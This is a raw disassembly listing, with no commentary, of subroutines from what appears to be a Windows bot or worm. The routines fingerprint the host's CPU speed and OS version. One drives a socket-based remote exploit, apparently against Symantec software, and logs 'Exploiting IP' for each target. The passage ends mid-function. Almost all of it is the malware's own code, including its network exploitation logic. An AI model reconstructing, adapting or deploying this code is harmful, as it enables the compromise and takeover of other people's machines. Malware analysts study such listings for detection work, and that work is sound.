sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2680EF8h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26F0000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680A92h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2750000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2860000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26F0A80h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
